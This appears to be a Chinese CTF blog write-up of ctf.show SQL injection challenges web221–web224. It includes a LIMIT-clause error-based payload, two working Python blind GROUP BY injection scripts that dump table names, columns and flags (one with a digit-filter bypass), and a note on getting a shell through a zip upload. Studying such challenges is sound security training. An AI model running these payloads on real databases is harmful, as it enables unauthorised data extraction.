`
目录
- 前言
- 题目
-
- web221(limit注入)
- web222(group by注入)
- web223(group by注入)
- web224(文件名注入)
- web225 (堆叠注入)
- web226,web228-web230 (堆叠注入)
- web227 (堆叠注入)
- web231 (update注入)
- web232(update注入)
- web233(update注入)
- web234(update注入)
- web235(update注入)
- web236(update注入)
- web237(insert注入)
- web238(insert过滤)
- web239(insert过滤)
- web240(insert过滤)
- web241(delete注入)
- web242(文件读写)
- 题解
- 总结
前言
开始下半部分
题目
web221(limit注入)
做之前,可以先看一下p神的博客,有讲关于limit注入的,版本限制(5.0.0-5.6.6)
https://www.leavesongs.com/PENETRATION/sql-injections-in-mysql-limit-clause.html
补充以下:
这里分两种情况,limit前面有无order by,有order by可以用union联合查询的
SELECT * from user LIMIT 1,1 union select * from user
题目用不了union,说明有order by
直接用p神的payload,数据库名就是flag
procedure analyse(extractvalue(rand(),concat(0x3a,database())),1)
因为版本问题,select用不了,所以也不能查到更多信息
web222(group by注入)
看到有个去重,点击抓包
初步判断一下,可以用concat(if(1=1,"username",cot(0)))
,根据回显直接用盲注
# @Author:Kradress
import requests
import string
url = "http://12ee4415-b331-421c-b9d4-a077a8e155fd.challenge.ctf.show/api/"
result = ''
dict=string.ascii_lowercase+string.digits+"_-}{"
# 爆表名
# payload = "select group_concat(table_name) from information_schema.tables where table_schema=database()"
# 爆列名
# payload = "select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='ctfshow_flaga'"
#爆字段值
payload = "select flagaabc from ctfshow_flaga"
for i in range(1,46):
print(i)
for j in dict:
s = f"?u=concat(if(substr(({
payload}),{
i},1)='{
j}',username,cot(0)))#"
r = requests.get(url+s)
if("ctfshow" in r.text):
result +=j
print(result)
break
web223(group by注入)
对数字进行了过滤
# @Author:Kradress
import requests
import string
url = "http://7702b56c-35d9-4b80-abdc-bb0956f4bce5.challenge.ctf.show/api/"
result = ''
dict=string.ascii_lowercase+string.digits+"_-,}{"
# 爆表名
# payload = "select group_concat(table_name) from information_schema.tables where table_schema=database()"
# 爆列名
# payload = "select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='ctfshow_flagas'"
#爆字段值
payload = "select flagasabc from ctfshow_flagas"
def numToStr(str):
parts = []
for s in str:
parts.append(numToStr2(s))
res = ','.join(parts)
return f"concat({
res})"
def numToStr2(num):
parts = []
n = ord(num)
for i in range(n):
parts.append("true")
res = "+".join(parts)
return f"char({
res})"
for i in range(1,46):
print(i)
for j in dict:
params={
'u' : f"concat(if(substr(({
payload}),{
numToStr(str(i))},true)={
numToStr(j)},username,cot(false)))#"
}
r = requests.get(url, params=params)
# print(r.url)
if("ctfshow" in r.text):
result +=j
print(result)
break
web224(文件名注入)
登陆页面试了半天进不去,后面发现有个robot.txt,里面有个重置密码页面
成功进了后台,发现是一个文件上传点,但经过测试,只能上传zip
没什么思路,群里有个payload.bin可以上传,访问1.php可以getshell
(y1ng师傅也有详细讲解)